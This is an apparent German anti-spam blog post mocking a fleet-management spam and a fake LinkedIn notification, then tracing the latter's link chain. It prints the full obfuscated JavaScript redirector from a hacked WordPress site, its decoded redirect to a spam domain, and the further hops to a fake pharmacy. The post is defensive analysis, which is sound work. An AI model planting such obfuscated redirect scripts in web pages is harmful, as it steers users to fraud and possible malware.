Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Tagesarchiv für den 4. August 2018

Die Ortung in Echtzeit erlaubt Ihnen, den Zustand der Fahrzeuge zu erkennen.

Samstag, 4. August 2018

Also ich erkenne den Zustand meines Fahrrades ganz gut durch Augenschein. 😉

Bringen Sie das Management Ihrer Flotte auf ein ganz neues
Level: sparen Sie Krafstoff, verbessern Sie die Strecken und
übernehmen Sie die volle Kontrolle über Ihre Flotte!
Verabschieden Sie sich, von unnötigem
Krafstoffverbrauch und steigern Sie Ihre

Ja, der Satz endet da mitten im Niemandsland zerborstener Kontexte.

Und nein, ich habe gar keine Flotte.

Dass der Spammer sich nicht einmal die Mühe macht, eine Rechtschreibprüfung über seinen schnell rausgerotzten Spamtext zu lassen, die solche Flüchtigkeitsfehler wie „Krafstoff“ findet, konvergiert mit der schäbigen Formatierung dieser unnütz HTML-formatierten Spam zu einem schrillen Eindruck, der kaum noch beschissener sein könnte. Dieser erste Eindruck formt eine beachtliche Einheit mit den Grotesken einer für den Empfänger völlig sinnlosen Mitteilung.

Reduziert den
Krafstoffverbrauch;

„Krafstoff“ schreibt man übrigens „Kraftstoff“. Und wenn du es beim nächsten Mal richtig schreibst, weiß ich, dass du hier mitliest, Spammer! 😀

Steigern Sie Ihre Firmenleistung durch ein
GPS-Flottenmanagementsystem.

Ich habe nicht nur keine Flotte, ich habe auch keine Firma.

Holen Sie sich

das perfekte Business – Tool, das Ihrem
Unternehmen hilft und das Fahren sicherer als je zuvor macht!

Das muss ich mir merken: GPS macht das Fahren sicherer. Vielleicht sollte ich auf dem Fahrrad doch mal so eine GPS-Wanze mitnehmen und meine Strecken irgendwo tracken lassen, vielleicht öffnet sich dann nicht mehr unvermittelt eine Autotür auf der Fahrbahn und diese überall in den Verkehr gestreuten Henker von Rechtsabbiegern setzen auf einmal ihren Blinker und schauen in ihren verdammten Spiegel, bevor sie abbiegen. 💡

Ach nee, ist ja nur für Firmenflotten. 🙁

Starten Sie jetzt

Wer darauf klickt, erhält die Gelegenheit, für einen kriminellen Missbrauch der Identität völlig hinreichende Daten auf einer impressumslosen, in einer Spam verlinkten Seite einzugeben und mit einem beherzten Klick auf „Senden“ an einen kriminellen Spammer zu übermitteln:

Screenshot der Datensammelseite, die in der Spam verlinkt wurde

Wer das macht, holt sich jahrelangen Ärger ins Leben.

Im Browser anzeigen

„Im Browser anzeigen“ wird ja langsam das neue „Click here“ – ein Spruch, der nur in den Mitteilungen von Vollidioten, Werbern, Kriminellen und Spammern vorkommt und sich deshalb prächtig für eine Filterregel eignet… 🙂

Aber gut, ich mache ja schon den Screenshot, denn so kann ich auch gleich das beabsichtigte HTML-Layout dieser Spam dokumentieren:

Noch einmal der gleiche Text in ansprechender HTML-Formatierung

Hui, selbst wenn ich das „im Browser anzeige“, bekomme ich im Browser noch den Link, um es „im Browser“ anzuzeigen. Das ist eine großartige Idee. 😎

Dies ist ein Geschäftsvorschlag, welches in legitimes Interesse an Sie und Ihr Unternehmen gesendet wurde.

Nein, das ist eine Spam. Und Spam ist nicht legitim. Ganz im Gegenteil: Illegal ist sie. Und zutiefst asozial. Genau die Form, die von Verbrechern und halbseidenen Gestalten gewählt wird. Übrigens: Ich habe kein Unternehmen. Und wer eine Mail an mich versendet, spricht mich immer an. Vernünftige Menschen schreiben mir übrigens verschlüsselt und signiert, und zwar vor allem immer dann, wenn es um Dinge geht, die geschäftliche Interessen berühren.

Als Spam melden Nicht interessiert

Ja, du kannst mich auch mal!

You appeared in 8 search this week

Samstag, 4. August 2018

Niemals vom Design einer HTML-formatierten E-Mail beeindrucken lassen! Diese Spam kommt nicht von LinkedIn, was man wegen akuter Doofheit der Spammer in der Auswahl ihres gefälschten Absenders…

Von: LinkedIn <gutiern@stthom.edu>

…auch beim Hingucken sehen kann. Das richtige LinkedIn würde selbstverständlich eine Mailadresse aus seiner eigenen Domain nehmen. 😉

Wenn der Spammer so dumm ist, reißt das Design es auch nicht mehr raus:

You appeared in 8 search this week -- LinkedIn --xxxxxxxxxxxxx@googlemail.com -- You appeared in 8 search this week -- You were found by people from these companies -- Avanade -- See all searches -- Get the LinkedIn app. -- Stay updated wherever you are -- Download for free -- Unsubscribe | Help -- You are receiving LinkedIn notification emails. -- This email was intended for xxxxxxxxxxxxx@googlemail.com Learn why we included this. -- LinkedIn -- © 2018 LinkedIn Corporation, 1000 West Maude Avenue, Sunnyvale, CA 94085. LinkedIn and the LinkedIn logo are registered trademarks of LinkedIn. -- amaretto inconsistency yanked newcastle syllogism abstained informing formalizations leaves nucleus

Was man im Screenshot des HTML-Layouts nicht sieht, ist die folgende unsichtbare Spamprosa am Ende der Mail:

amaretto inconsistency yanked newcastle syllogism abstained informing formalizations leaves nucleus

Dieser Text wird in jeder Spam anders sein und soll den Spamfiltern das Leben erschweren.

Sämtliche Links in dieser Spam führen in eine gecrackte, mit WordPress betriebene Website portugiesischer Sprache. Dort gibt es eine vorsätzlich kryptisch formulierte Javascript-Weiterleitung:

$ lynx -mime_header http://cuidandomais.com.br/wp-content/uploads/apostolicj.html
HTTP/1.1 200 OK
Date: Sat, 04 Aug 2018 09:00:54 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 01 Aug 2018 20:49:42 GMT
ETag: "df9f7-68d-57265d58374b7"
Accept-Ranges: bytes
Content-Length: 1677
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>mournfully32999 Imprisond. Length - bending, roys: Sense. Latest lucie poets reaping - cull.</title>
</head>
<body>
<script type="text/javascript">

bared();

function holidayb(aholidayb,bholidayb)
{
	cholidayb = "";

	for (dholidayb = 0; dholidayb < bholidayb.length; dholidayb++)
	{
		eholidayb = bholidayb[dholidayb];
		fholidayb = eholidayb - aholidayb;
		gholidayb = String.fromCharCode(fholidayb);

		cholidayb = cholidayb + gholidayb;
	}

	return cholidayb;
}

function opposing(harmless,sorrows)
{
	courtesies = flutterd / sip;
	beautifully = pursue / daisy;
	ask = sweetly - scannd;
	hadn = bands - braes;
}

function bared()
{
	setTimeout(effortlessc(),1036);
}

function hither(sunshine)
{
	figures = latest - panting;
	seeking = grotto / shy;
	confuse = lucky + infant;
}

function effortlessc()
{
	aeffortlessc = planneda();
	beffortlessc = [124,110,115,105,116,124,51,121,116,117,51,113,116,104,102,121,110,116,115,51,109,119,106,107,66,44,109,121,121,117,63,52,52,107,102,121,116,107,107,50,103,116,105,126,57,113,110,108,109,121,51,124,116,119,113,105,52,68,102,66,57,53,54,56,56,59,43,104,66,104,117,104,105,110,106,121,43,120,66,54,61,53,60,55,53,54,61,44,64];

	return holidayb(aeffortlessc,beffortlessc);
}

function unprofitable()
{
	guests = yellow - panting;
	hair = homefelt / common;
}

function homefelt()
{
	beautifully = train + mild;
}

function benignant(sticking,prisons)
{
	debut = plotted * imprisond;
}

function planneda(hideandseeki)
{
	return 5;
}

</script>
</body>
</html>
$ _

Um zu sehen, wo die Reise hingeht, besinne ich mich darauf, dass Rechner nun einmal besser rechnen können als ich und ersetze einfach setTimeout durch document.write

$ lynx -source http://cuidandomais.com.br/wp-content/uploads/apostolicj.html | sed -e s/setTimeout/document.write/ -e s/,1036// >blah.html
$ _

…und lasse meinen Browser das „Entziffern“ für mich machen, um zu sehen, was da ausgeführt werden sollte – dafür muss ich natürlich Javascript zulassen, was ich standardmäßig nicht gestatte:

window.top.location.href='http://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018';

Aber zum Glück für den Rest der Welt gibt es dort – nicht einmal eine Stunde, nachdem ich diese Spam empfangen habe – schon nichts mehr zu sehen:

$ lynx -source http://fatoff-body4light.world/

Looking up fatoff-body4light.world
Making HTTP connection to fatoff-body4light.world
Sending HTTP request.
HTTP request sent; waiting for response.
HTTP/1.1 301 Moved Permanently
Data transfer complete
HTTP/1.1 301 Moved Permanently
Using https://fatoff-body4light.world/
Looking up fatoff-body4light.world
Making HTTPS connection to fatoff-body4light.world
Verified connection to fatoff-body4light.world (cert=fatoff-body4light.world)
Certificate issued by: /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
Secure 128-bit TLS1.2 (ECDHE_RSA_AES_128_GCM_SHA256) HTTP connection
Sending HTTP request.
HTTP request sent; waiting for response.
Alert!: Unexpected network read error; connection aborted.
Can't Access `https://fatoff-body4light.world/'
Alert!: Unable to access document.

lynx: Can't access startfile
$ _

Das gefällt mir. 😉

Leider ist es nur die halbe Wahrheit. 🙁

In Wirklichkeit sollen die „Inhalte“ vor automatischen Analysen versteckt werden. Man sieht dort nur etwas, wenn man auch die URI-Parameter anhängt, die mit irreführender Spam und vorsätzlich kryptischen Javascript-Weiterleitungen bekannt gemacht werden. Aber erstmal gibt es noch eine Weiterleitung…

$ location-cascade "http://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018"
     1	https://fatoff-body4light.world/?a=401336&c=cpcdiet&s=18072018
     2	https://fatoff-body4light.world/all/ytsl/cpc?bhu=CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW
$ _

…bevor man in den „Genuss“ einer weiteren Javascript-Weiterleitung kommt:

$ lynx -source "https://fatoff-body4light.world/all/ytsl/cpc?bhu=CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW"
<link rel="stylesheet" href="/assets/CWpYzN8K6PkSaG2iT8B8digyiN9zFU1rVT9YW/theme_xa9fa4.css?CID=411298&ADID=2129826" type="text/css">        <link rel="dns-prefetch" href="http://178.3.171.181.d.megaanalitycsstats.com"><script>
    window.location.replace("http://magictabsstore.ru");
</script>
$ _

Ganz wichtig: Wenn man eine Seite ohne Inhalte hat, muss man unbedingt ein Stylesheet einbinden! 😀

Nun, unter magictabsstore (punkt) ru begegnet einem dann die Fassade einer Pimmelpillen-Apotheke der spammigen Marke „Canadian Pharmacy“, die so aussieht:

Screenshot einer betrügerischen Apotheke der spammigen Marke Canadian Pharmacy

Ich gehe übrigens davon aus, dass es sich hier um eine „Notweiterleitung“ handelt, bei der man landet, wenn man keinen anfälligen Webbrowser hat. Leider habe ich es in einer Mischung aus Müdigkeit und Sommerheiterkeit (eine schönere Umschreibung für Dummheit ist mir gerade nicht eingefallen) versäumt, den User-Agent von lynx zu ändern, zum Beispiel in einen Internet Explorer 10. Angesichts der besonderen Mühe im Verstecken von Inhalten, damit diese wirklich nur bei klickenden Spamempfängern auftauchen, gehe ich davon aus, dass über eine komplizierte Weiche versucht werden wird, jedem anfälligen Browser auf jedem Betriebssystem sein aktuelles Schadsoftware-Paket auszuliefern. Wenn denn eine Woche später der Schaden eintritt, erinnern sich die meisten Menschen nicht mehr an „die komische Mail von LinkedIn“.

Um sich vor solchen Gefahren zu schützen, gibt es – neben der obligatorischen Absicherung des verwendeten Webbrowsers durch einen Adblocker und einen Scriptblocker – ein ganz einfaches Mittel: Die Angewohnheit, niemals in eine E-Mail zu klicken und niemals einen Mailanhang zu öffnen, der nicht vorher explizit vereinbar war. Wer bei einer solchen angeblichen Benachrichtung von LinkedIn die Website von LinkedIn über ein Lesezeichen aufruft, kann gar nicht von Kriminellen überrumpelt werden. Diese sehr einfache und völlig kostenlose Vorsichtsmaßnahme kann sehr viel Ärger und Geld sparen. Denn natürlich hilft sie auch gegen überzeugend vorgetragene Phishing-Maschen und gegen Schadsoftware im Mailanhang.